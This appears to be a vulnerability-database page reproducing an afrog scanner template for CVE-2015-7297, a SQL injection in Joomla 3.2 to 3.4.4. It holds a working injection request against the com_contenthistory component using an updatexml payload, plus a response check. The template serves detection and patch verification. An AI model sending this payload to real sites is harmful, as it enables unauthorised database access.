CVE-2015-7297: Joomla Core SQL Injection

2025-08-01 Joomla PoC Public

Description

Joomla 3.4.4 之前的 3.2 SQL 注入漏洞

Joomla 中的 SQL 注入漏洞！3.4.4 之前的 3.2 允许远程攻击者通过未指定的向量执行任意 SQL 命令。

PoC

id: CVE-2015-7297

info:
  name: Joomla Core SQL Injection
  author: l0ne1y
  severity: high
  verified: true
  description: |-
    Joomla 3.4.4 之前的 3.2  SQL 注入漏洞
    Joomla 中的 SQL 注入漏洞！3.4.4 之前的 3.2 允许远程攻击者通过未指定的向量执行任意 SQL 命令。
  reference:
    - https://www.exploit-db.com/exploits/38797
    - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
    - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
  tags: cve,cve2015,joomla,sqli
  created: 2023/08/02

rules:
  r0:
    request:
      method: GET
      path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)
    expression: response.body.bcontains(b'cf79ae6addba60ad018347359bd144d2')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2015/CVE-2015-7297.yaml

References

Related Vulnerabilities